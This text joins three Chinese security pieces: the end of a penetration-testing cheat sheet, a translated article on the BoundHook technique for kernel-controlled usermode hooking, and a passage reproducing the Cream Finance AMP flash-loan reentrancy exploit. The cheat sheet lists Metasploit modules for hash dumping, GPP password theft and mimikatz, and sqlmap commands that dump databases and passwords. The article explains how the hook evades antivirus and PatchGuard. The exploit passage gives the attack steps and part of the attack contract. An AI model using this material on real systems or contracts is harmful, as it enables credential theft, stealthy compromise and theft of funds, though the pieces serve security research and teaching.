`use exploit/multi/script/web_delivery` | Metasploit powershell payload c传送模块
`post/windows/manage/powershell/exec_powershell` | Metasploit通过会话上传和执行
powershell脚本
`use exploit/multi/http/jboss_maindeployer` | Metasploit JBOSS 部署
`use exploit/windows/mssql/mssql_payload` | Metasploit MSSQL payload
### Windows 后渗透Metasploit 模块
Windows Metasploit 提权模块。
命令 | 解释
---|---
`run post/windows/gather/win_privs` | Metasploit 显示当前用户权限
`use post/windows/gather/credentials/gpp` | Metasploit 提取 GPP 保存的密码
`load mimikatz -> wdigest` | Metasplit 加载 Mimikatz
`run post/windows/gather/local_admin_search_enum` | 检查当前用户是否对域内其他机器有管理员权限
`run post/windows/gather/smart_hashdump` | 自动化导出sam 文件，尝试提权等。
## ASCII表速查
对Web应用渗透测试很有用，或者你被困在火星而需要和NASA通信。（梗自《火星救援》）
ASCII | 字符
---|---
`x00` | Null Byte 空字节
`x08` | BS 退格
`x09` | TAB 水平制表符
`x0a` | LF 换行
`x0d` | CR 回车
`x1b` | ESC
`x20` | SPC 空格
`x21` | !
`x22` | "
`x23` | #
`x24` | $
`x25` | %
`x26` | &
`x27` | `
`x28` | (
`x29` | )
`x2a` | *
`x2b` | +
`x2c` | ,
`x2d` | -
`x2e` | .
`x2f` | /
`x30` | 0
`x31` | 1
`x32` | 2
`x33` | 3
`x34` | 4
`x35` | 5
`x36` | 6
`x37` | 7
`x38` | 8
`x39` | 9
`x3a` | :
`x3b` | ;
`x3c` | <
`x3d` | =
`x3e` | >
`x3f` | ?
`x40` | @
`x41` | A
`x42` | B
`x43` | C
`x44` | D
`x45` | E
`x46` | F
`x47` | G
`x48` | H
`x49` | I
`x4a` | J
`x4b` | K
`x4c` | L
`x4d` | M
`x4e` | N
`x4f` | O
`x50` | P
`x51` | Q
`x52` | R
`x53` | S
`x54` | T
`x55` | U
`x56` | V
`x57` | W
`x58` | X
`x59` | Y
`x5a` | Z
`x5b` | [
`x5c` | \
`x5d` | ]
`x5e` | ^
`x5f` | _
`x60` | `
`x61` | a
`x62` | b
`x63` | c
`x64` | d
`x65` | e
`x66` | f
`x67` | g
`x68` | h
`x69` | i
`x6a` | j
`x6b` | k
`x6c` | l
`x6d` | m
`x6e` | n
`x6f` | o
`x70` | p
`x71` | q
`x72` | r
`x73` | s
`x74` | t
`x75` | u
`x76` | v
`x77` | w
`x78` | x
`x79` | y
`x7a` | z
## CISCO IOS(网际操作系统) 命令
收集一些有用的Cisco IOS 命令.
命令 | 解释
---|---
`enable` | 进入使能模式
`conf t` | 配置终端
`(config)# interface fa0/0` | 配置 FastEthernet 0/0
`(config-if)# ip addr 0.0.0.0 255.255.255.255` | 添加IP到 fa0/0
`(config-if)# line vty 0 4` | 配置 vty line
`(config-line)# login` | 登陆
`(config-line)# password YOUR-PASSWORD` | 设置 telnet 密码
`# show running-config` | 显示内存中的运行配置
`# show startup-config` | 显示启动配置
`# show version` | 显示cisco IOS 版本
`# show session` | 显示已打开的会话
`# show ip interface` | 显示网卡
`# show interface e0` | 显示网络接口细节
`# show ip route` | 显示路由
`# show access-lists` | 显示access lists
`# dir file systems` | 列出可用文件
`# dir all-filesystems` | 显示文件信息
`# dir /all` | 显示已删除文件
`# terminal length 0` | 取消终端输出长度限制
`# copy running-config tftp` | 复制运行配置到tftp 服务器
`# copy running-config startup-config` | 复制启动配置到运行配置
## 密码学
### 哈希长度
哈希 | 长度
---|---
MD5 | `16 Bytes`
SHA-1 | `20 Bytes`
SHA-256 | `32 Bytes`
SHA-512 | `64 Bytes`
### 哈希例子
可以直接使用 **hash-identifier** 命令判断哈希类型，但这里还是举些例子。
哈希 | 例子
---|---
MD5 Hash Example | `8743b52063cd84097a65d1633f5c74f5`
MD5 $PASS:$SALT Example | `01dfae6e5d4d90d9892622325959afbe:7050461`
MD5 $SALT:$PASS | `f0fda58630310a6dd91a7d8f0a4ceda2:4225637426`
SHA1 Hash Example | `b89eaac7e61417341b710b727768294d0e6a277b`
SHA1 $PASS:$SALT | `2fc5a684737ce1bf7b3b239df432416e0dd07357:2014`
SHA1 $SALT:$PASS | `cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024`
SHA-256 | `127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935`
SHA-256 $PASS:$SALT |
`c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4`
SHA-256 $SALT:$PASS |
`eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617`
SHA-512 |
`82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f`
SHA-512 $PASS:$SALT |
`e5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd`
SHA-512 $SALT:$PASS |
`976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a`
NTLM Hash Example | `b4b9b02e6f09a9bd760f388b67351e2b`
## SQLMap例子
小型 SQLMap 速查表：
命令 | 解释
---|---
`sqlmap -u [meh.com](http://meh.com) --forms --batch --crawl=10
--cookie=jsessionid=54321 --level=5 --risk=3` | 自动化sqlmap扫描
`sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3
--current-user --current-db --passwords --file-read="/var/www/blah.php"` |
指定目标的sqlmap scan
`sqlmap -u "[meh.com/meh.php?id=1](http://meh.com/meh.php?id=1)" --dbms=mysql
--tech=U --random-agent --dump` | 使用联合查询技术扫描mysql后端的基于报错的注入 ，使用随机UA，导出数据库
`sqlmap -o -u "[meh.com/form/](http://meh.com/form/)" --forms` | 检测可能存在注入点表单
`sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump`
| 导出指定数据库的user表并尝试破解哈希。 | 社区文章 |
# 【技术分享】用户模式下基于异常和内核控制的线程级钩子技术分析
|
##### 译文声明
本文是翻译文章，文章来源：cyberark.com
原文地址：<https://www.cyberark.com/threat-research-blog/boundhook-exception-based-kernel-controlled-usermode-hooking/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
****
在这篇文章中，我们将会跟大家介绍我们在研究过程中所发现的一种新型的钩子（Hook）技术。
Hook技术可以帮助我们了解并控制操作系统中每一部分软件组件的操作行为，使用了钩子技术的部分软件有：应用程序安全解决方案、系统应用工具、编程软件（例如用于拦截、调试和功能扩展的软件）、以及恶意软件（例如rootkit）等等。
钩子(Hook)是Windows消息处理机制的一个平台，应用程序可以在上面设置子进程/线程以监视指定窗口的某种消息，而且所监视的窗口可以是其他进程所创建的。当消息到达后，钩子可以在目标窗口处理函数之前对数据进行处理它，因为钩子机制允许应用程序截获处理window消息或特定事件。钩子实际上是一个处理消息的程序段，通过系统调用，把它挂入系统。每当特定的消息发出，在没有到达目的窗口前，钩子程序就先捕获该消息，亦即钩子函数先得到控制权。这时钩子函数即可以加工处理（改变）该消息，也可以不作处理而继续传递该消息，还可以强制结束消息的传递。
需要注意的是，本文所要介绍的内容并不涉及提权以及漏洞利用技术。本文所介绍的技术主要用于后渗透场景，即攻击者已经成功获取到目标设备控制权的情况。由于恶意内核代码（rootkit）一般都会尝试在目标系统中实现持久化感染，因此隐藏技术也逐渐开始扮演一种十分重要的角色了。
**技术描述**
****
我们给这项技术取名为BoundHook，BoundHook技术可以在用户模式场景中的特殊位置引发异常，然后通过捕捉异常来接管线程的执行。我们可以使用BOUND指令（Intel
MPX内存保护扩展的一部分）来实现上述操作，这种指令原本的作用是通过检测指针引用来提升软件的安全性。简而言之，BOUND指令可以检测数组索引的越界情况（可能触发内存崩溃漏洞），如果测试失败则会引起软件中断。（32-bit:
**nt!KiTrap05** , 64-bit: **nt!KiBoundFault** ）
你可能会问，为什么不对这两种操作指令进行一下对比呢？因为英特尔的技术人员在设计这种新型指令时故意生成了一个异常，并让操作系统来检查边界测试失败的情况。
这种指令的语句如下所示：
BOUND r16, m16&16 – 检测r16（数组索引）是否越界（m16&16指定）
BOUND r32, m32&32 – 检测r32（数组索引）是否越界（m32&32指定）
当边界检查出现错误时，陷阱处理程序（trap handler）将会调用 **nt!KiHandleBound** 并执行已注册的边界异常回调程序。
内核模式驱动程序或者运行在内核模式下的shellcode payload可以使用 **nt!KeRegisterBoundCallback**
来为边界检测异常注册一个回调程序。需要注意的是，这个函数并不是WDK header“提供”的，而且这里还需要动态加载一个指向该函数的指针。
这种回调程序没有任何的参数，并且会返回一个 **BOUND_CALLBACK_STATUS** （枚举类型），具体如下所示：
完成了边界异常的注册之后，内核模式代码会得到一个指向用户模式DLL基地址的指针，并计算出需要设置钩子的函数地址。
获取函数地址其实是一件非常简单的事情，而且可以通过多种方式去实现，例如通过解析PE头就可以。需要注意的是，解析一个某个特定进程所加载的图片则需要在进程环境中进行，或者使用特定的API。
当我们的代码计算出了函数地址之后，我们如果可以直接开始向这个地址写入数据就非常好了。但是，由于这部分代码存在于只读/可执行内存之中，我们就没办法做到这一点了。
Windows内存保护的实现主要依赖一下几个因素：
现在我们就有几种选择了。我们可以想办法向这个地址写入数据来触发COW（copy-on-write）保护，或者使用__readcr0()和__writecr0()来修改CR0寄存器。除此之外，我们还可以分配我们的内存描述符列表（MDL）来描述内存页面，并使用按位或（bitwise
OR）来调整MDL和 **MDL_MAPPED_TO_SYSTEM_VA**
的权限。最后这种方法相对来说更加“隐蔽”一些，因为根据当前PatchGuard实现的设计来看，这种方法是完全不可见的。
首先，我们给大家介绍如何修改CR0寄存器。CR-寄存器的描述如下所示（来源于Intel 64和IA-32软件架构开发人员手册）：
”WP写入保护（16位CR0）-当设置时，将阻止高等级进程向只读页面中写入数据；当清空时，将允许高等级进程向只读页面中写入数据。“
下面是CR0寄存器的一个简单的修改样例：
如果可以直接向DLL的COW页面写入数据的话，我们就能够对操作系统中每一个使用了这个DLL的进程设置钩子，因为我们已经可以影响cow-origin页面了。
触发边界异常也是比较简单的，比如说，下面的代码将触发一次错误异常：
因此，我们负责执行钩子的内核模式代码将能够向目标位置写入一个类似的汇编代码，并成功接管目标线程的执行过程。
比如说，如果我们想要挂钩KERNELBASE!CreateFileW，我们就可以将下面给出的这行操作码注入到该函数的起始位置：
UCHAR opcodes[5]= {0x36, 0x66, 0x62, 0x0C, 0x24};
你可以直接理解为：BOUND CX, DWORD PTR SS :
[ESP]。在这种特殊场景下，我们假设CX为0（在真实的使用场景中，我们需要对每一个函数进行测试来决定这个值），而栈顶的值肯定大于0（这只是一个PoC，而并非最终的Exploit）。
现在，当我们将操作码写入进了 **KERNELBASE!CreateFileW**
之后，如果用户模式下的线程调用这个函数时，我们内核模式下的回调函数就能够完全接管这个用户模式下的线程了。
如果可以实现的话，那我们的优势就非常大了，比如说：
1\. 挂钩的页面仍然是COW，因此反恶意软件解决方案以及研究人员所进行的手动分析将无法发现页面遭到了篡改。
2\. 绝大多数反病毒产品不会检测到我们的这种技术，而且这个问题似乎无法解决，因为页面仍然是COW。
3\.
用户模式调试器将无法捕捉到这种钩子。普通的内联钩子方法会让已挂钩的程序跳转到其他的用户模式代码，但BoundHook技术可以通过内核边界异常处理器来修改这种执行流程。
4\.
绝大多数PatchGuard（PG）保护机制都无法察觉到我们的这种钩子技术。根据目前PG的设计原理，用本文所介绍的MDL方法绕过COW机制是不会被检测到的。对于修改CR0寄存器的方法来说，虽然CR0寄存器是受PG保护的，但PG发现这种修改操作的可能性也非常小，因为修改操作可以在非常短的时间内完成。
PoC-已挂钩的线程调用栈：
**总结**
****
我们知道对于微软而言，BoundHook技术所利用的技术因素并不会被他们认为是一种安全漏洞，因为设备管理员权限已经被攻击者拿到了。在此之前，微软曾从CyberArk（GhostHook技术）那里收到了类似问题的报告，而微软对此的回应如下：
”我们已经对上报的安全问题进行了详细的分析和调查，并且发现这并不是一个真正意义上的安全漏洞，因为这只是一种用于躲避安全检测的技术，但设备此时已经被攻击者入侵了。你们所提交的是一种后渗透技术，而且并不符合我们的漏洞规定，因此我们无法针对该问题发布更新补丁，但我们会在将来的Windows版本中考虑解决这个问题。“
但不管怎么样，我认为我们所设计的这种技术可以给软件安全厂商以及恶意软件开发者提供一种新的思路，也希望微软能够尽快解决这个问题（虽然他们不认为这是一个安全漏洞）。 | 社区文章 |
**作者：W2Ning
原文链接：<https://github.com/W2Ning/Cream_AMP_FlashLoan_Vul>**
## 概述
上个月8月30日， Cream Finance 又双叒叕遭到了攻击，损失超 1800 万美元。
漏洞原理用一句话概括：`Cream的借贷经济模型未能考虑到ERC777Token的勾子函数所带来的重入风险`
## 事件分析
* 攻击者地址
0xce1f4b4f17224ec6df16eeb1e3e5321c54ff6ede
* 其中一次攻击的交易哈希(既然大家都选这次分析我也选这次复现好了)
0xa9a1b8ea288eb9ad315088f17f7c7386b9989c95b4d13c81b69d5ddad7ffe61e
* 该攻击发生的块高度
13125071
#### 攻击合约A
0x38c40427efbAAe566407e4CdE2A91947dF0bD22B
#### 攻击合约B
0x0ec306D7634314D35139d1dF4A630d829475A125
#### 攻击步骤
* 第一步 在ERC1820地址上调用`setInterfaceImplementer`,完成`AmpTokensRecipient`勾子函数的注册
* 第二步 攻击者从Uniswap通过`FlashSwap`借出500`WETH`
* 第三步 将500`WETH`换成500`ETH`
* 第四步 调用`crETH`的`mint`函数，将500`ETH`存入`crETH`获得借贷凭证
* 第五步 用其借贷凭证借出`19480000`个`AMP`,并通过攻击合约A中的勾子函数，再次借出355个`ETH`
* 第六步 攻击合约A生成一个新的合约
* 第七步 攻击合约A把一半借到的`AMP`转入攻击合约B，用来清算原合约的部分`crETH`,
* 第八步 攻击合约B清算攻击合约A的`crETH`赎回了约187个`ETH`
* 第九步 攻击合约B执行`SelfDestruct()`完成自毁，把约187个`ETH`转回攻击合约
* 第十步 攻击合约A 把355个`ETH`转为355个`WETH` 返回给`Uniswap`501.55个`WETH`,完成闪电贷流程
* 第十一步 攻击合约A把剩下的一半`AMP`和41个`WETH`转回攻击者得钱包地址
## 复现步骤
本次复现不是特别完美,没有加入攻击者的`清算逻辑`,而是把借出的AMP`全部抛售`,归还闪电贷结束攻击.
这也是第一次学习ERC777Token的Hook函数如何实现,光是踩坑就已经让我精疲力尽了.
同时我找一个abi转solidity的工具,再也不用手写interface了,但同时攻击代码也因为8个interface变得特别长.
https://gnidan.github.io/abi-to-sol/
但我仍旧认为,单文件比引入外部文件要省事.
选择在高度为`13125070`的块上Fork,部署攻击合约
点击Attack
攻击前的metamask余额
攻击后的metamask余额
* 完整攻击合约代码如下
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.0. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;
interface IERC1820Registry {
function setInterfaceImplementer(
address _addr,
bytes32 _interfaceHash,
address _implementer
) external;
function getManager(address _addr) external view returns (address);
function setManager(address _addr, address _newManager) external;
function interfaceHash(string memory _interfaceName)
external
pure
returns (bytes32);
function updateERC165Cache(address _contract, bytes4 _interfaceId) external;
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash)
external
view
returns (address);
function implementsERC165InterfaceNoCache(
address _contract,
bytes4 _interfaceId
) external view returns (bool);
function implementsERC165Interface(address _contract, bytes4 _interfaceId)
external
view
returns (bool);
event InterfaceImplementerSet(
address indexed addr,
bytes32 indexed interfaceHash,
address indexed implementer
);
event ManagerChanged(address indexed addr, address indexed newManager);
}
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(
address recipient,
uint256 amount,
bytes calldata data
) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
interface Uni_Pair_V2 {
event Approval( address indexed owner,address indexed spender,uint256 value ) ;
event Burn( address indexed sender,uint256 amount0,uint256 amount1,address indexed to ) ;
event Mint( address indexed sender,uint256 amount0,uint256 amount1 ) ;
event Swap( address indexed sender,uint256 amount0In,uint256 amount1In,uint256 amount0Out,uint256 amount1Out,address indexed to ) ;
event Sync( uint112 reserve0,uint112 reserve1 ) ;
event Transfer( address indexed from,address indexed to,uint256 value ) ;
function DOMAIN_SEPARATOR( ) external view returns (bytes32 ) ;
function MINIMUM_LIQUIDITY( ) external view returns (uint256 ) ;
function PERMIT_TYPEHASH( ) external view returns (bytes32 ) ;
function allowance( address ,address ) external view returns (uint256 ) ;
function approve( address spender,uint256 value ) external returns (bool ) ;
function balanceOf( address ) external view returns (uint256 ) ;
function burn( address to ) external returns (uint256 amount0, uint256 amount1) ;
function decimals( ) external view returns (uint8 ) ;
function factory( ) external view returns (address ) ;
function getReserves( ) external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) ;
function initialize( address _token0,address _token1 ) external ;
function kLast( ) external view returns (uint256 ) ;
function mint( address to ) external returns (uint256 liquidity) ;
function name( ) external view returns (string memory ) ;
function nonces( address ) external view returns (uint256 ) ;
function permit( address owner,address spender,uint256 value,uint256 deadline,uint8 v,bytes32 r,bytes32 s ) external ;
function price0CumulativeLast( ) external view returns (uint256 ) ;
function price1CumulativeLast( ) external view returns (uint256 ) ;
function skim( address to ) external ;
function swap( uint256 amount0Out,uint256 amount1Out,address to,bytes memory data ) external ;
function symbol( ) external view returns (string memory ) ;
function sync( ) external ;
function token0( ) external view returns (address ) ;
function token1( ) external view returns (address ) ;
function totalSupply( ) external view returns (uint256 ) ;
function transfer( address to,uint256 value ) external returns (bool ) ;
function transferFrom( address from,address to,uint256 value ) external returns (bool ) ;
}
interface Uni_Router_V2{
function WETH( ) external view returns (address ) ;
function addLiquidity( address tokenA,address tokenB,uint256 amountADesired,uint256 amountBDesired,uint256 amountAMin,uint256 amountBMin,address to,uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity) ;
function addLiquidityETH( address token,uint256 amountTokenDesired,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity) ;
function factory( ) external view returns (address ) ;
function getAmountIn( uint256 amountOut,uint256 reserveIn,uint256 reserveOut ) external pure returns (uint256 amountIn) ;
function getAmountOut( uint256 amountIn,uint256 reserveIn,uint256 reserveOut ) external pure returns (uint256 amountOut) ;
function getAmountsIn( uint256 amountOut,address[] memory path ) external view returns (uint256[] memory amounts) ;
function getAmountsOut( uint256 amountIn,address[] memory path ) external view returns (uint256[] memory amounts) ;
function quote( uint256 amountA,uint256 reserveA,uint256 reserveB ) external pure returns (uint256 amountB) ;
function removeLiquidity( address tokenA,address tokenB,uint256 liquidity,uint256 amountAMin,uint256 amountBMin,address to,uint256 deadline ) external returns (uint256 amountA, uint256 amountB) ;
function removeLiquidityETH( address token,uint256 liquidity,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH) ;
function removeLiquidityETHSupportingFeeOnTransferTokens( address token,uint256 liquidity,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline ) external returns (uint256 amountETH) ;
function removeLiquidityETHWithPermit( address token,uint256 liquidity,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline,bool approveMax,uint8 v,bytes32 r,bytes32 s ) external returns (uint256 amountToken, uint256 amountETH) ;
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token,uint256 liquidity,uint256 amountTokenMin,uint256 amountETHMin,address to,uint256 deadline,bool approveMax,uint8 v,bytes32 r,bytes32 s ) external returns (uint256 amountETH) ;
function removeLiquidityWithPermit( address tokenA,address tokenB,uint256 liquidity,uint256 amountAMin,uint256 amountBMin,address to,uint256 deadline,bool approveMax,uint8 v,bytes32 r,bytes32 s ) external returns (uint256 amountA, uint256 amountB) ;
function swapETHForExactTokens( uint256 amountOut,address[] memory path,address to,uint256 deadline ) external payable returns (uint256[] memory amounts) ;
function swapExactETHForTokens( uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external payable returns (uint256[] memory amounts) ;
function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external payable ;
function swapExactTokensForETH( uint256 amountIn,uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external returns (uint256[] memory amounts) ;
function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn,uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external ;
function swapExactTokensForTokens( uint256 amountIn,uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external returns (uint256[] memory amounts) ;
function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn,uint256 amountOutMin,address[] memory path,address to,uint256 deadline ) external ;
function swapTokensForExactETH( uint256 amountOut,uint256 amountInMax,address[] memory path,address to,uint256 deadline ) external returns (uint256[] memory amounts) ;
function swapTokensForExactTokens( uint256 amountOut,uint256 amountInMax,address[] memory path,address to,uint256 deadline ) external returns (uint256[] memory amounts) ;
// receive () external payable;
}
interface WETH9 {
function name() external view returns (string memory);
function approve(address guy, uint256 wad) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function withdraw(uint256 wad) external;
function decimals() external view returns (uint8);
function balanceOf(address) external view returns (uint256);
function symbol() external view returns (string memory);
function transfer(address dst, uint256 wad) external returns (bool);
function deposit() external payable;
function allowance(address, address) external view returns (uint256);
// 由于高版本的问题，这行要注释掉
// fallback() external payable;
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
}
interface crETH {
event AccrueInterest(
uint256 cashPrior,
uint256 interestAccumulated,
uint256 borrowIndex,
uint256 totalBorrows
);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
event Borrow(
address borrower,
uint256 borrowAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event Failure(uint256 error, uint256 info, uint256 detail);
event LiquidateBorrow(
address liquidator,
address borrower,
uint256 repayAmount,
address cTokenCollateral,
uint256 seizeTokens
);
event Mint(address minter, uint256 mintAmount, uint256 mintTokens);
event NewAdmin(address oldAdmin, address newAdmin);
event NewComptroller(address oldComptroller, address newComptroller);
event NewMarketInterestRateModel(
address oldInterestRateModel,
address newInterestRateModel
);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewReserveFactor(
uint256 oldReserveFactorMantissa,
uint256 newReserveFactorMantissa
);
event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);
event RepayBorrow(
address payer,
address borrower,
uint256 repayAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event ReservesAdded(
address benefactor,
uint256 addAmount,
uint256 newTotalReserves
);
event ReservesReduced(
address admin,
uint256 reduceAmount,
uint256 newTotalReserves
);
event Transfer(address indexed from, address indexed to, uint256 amount);
//由于高版本的问题，这行要注释掉
// fallback() external payable;
function _acceptAdmin() external returns (uint256);
function _reduceReserves(uint256 reduceAmount) external returns (uint256);
function _setComptroller(address newComptroller) external returns (uint256);
function _setInterestRateModel(address newInterestRateModel)
external
returns (uint256);
function _setPendingAdmin(address newPendingAdmin)
external
returns (uint256);
function _setReserveFactor(uint256 newReserveFactorMantissa)
external
returns (uint256);
function accrualBlockNumber() external view returns (uint256);
function accrueInterest() external returns (uint256);
function admin() external view returns (address);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account)
external
view
returns (uint256);
function borrowIndex() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function comptroller() external view returns (address);
function decimals() external view returns (uint8);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function getCash() external view returns (uint256);
function initialize(
address comptroller_,
address interestRateModel_,
uint256 initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_
) external;
function interestRateModel() external view returns (address);
function isCToken() external view returns (bool);
function liquidateBorrow(address borrower, address cTokenCollateral)
external
payable;
function mint() external payable;
function name() external view returns (string memory);
function pendingAdmin() external view returns (address);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
function reserveFactorMantissa() external view returns (uint256);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function symbol() external view returns (string memory);
function totalBorrows() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function totalReserves() external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
}
interface crAMP {
event AccrueInterest(
uint256 cashPrior,
uint256 interestAccumulated,
uint256 borrowIndex,
uint256 totalBorrows
);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
event Borrow(
address borrower,
uint256 borrowAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
event Failure(uint256 error, uint256 info, uint256 detail);
event LiquidateBorrow(
address liquidator,
address borrower,
uint256 repayAmount,
address cTokenCollateral,
uint256 seizeTokens
);
event Mint(address minter, uint256 mintAmount, uint256 mintTokens);
event NewAdmin(address oldAdmin, address newAdmin);
event NewComptroller(address oldComptroller, address newComptroller);
event NewImplementation(
address oldImplementation,
address newImplementation
);
event NewMarketInterestRateModel(
address oldInterestRateModel,
address newInterestRateModel
);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewReserveFactor(
uint256 oldReserveFactorMantissa,
uint256 newReserveFactorMantissa
);
event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);
event RepayBorrow(
address payer,
address borrower,
uint256 repayAmount,
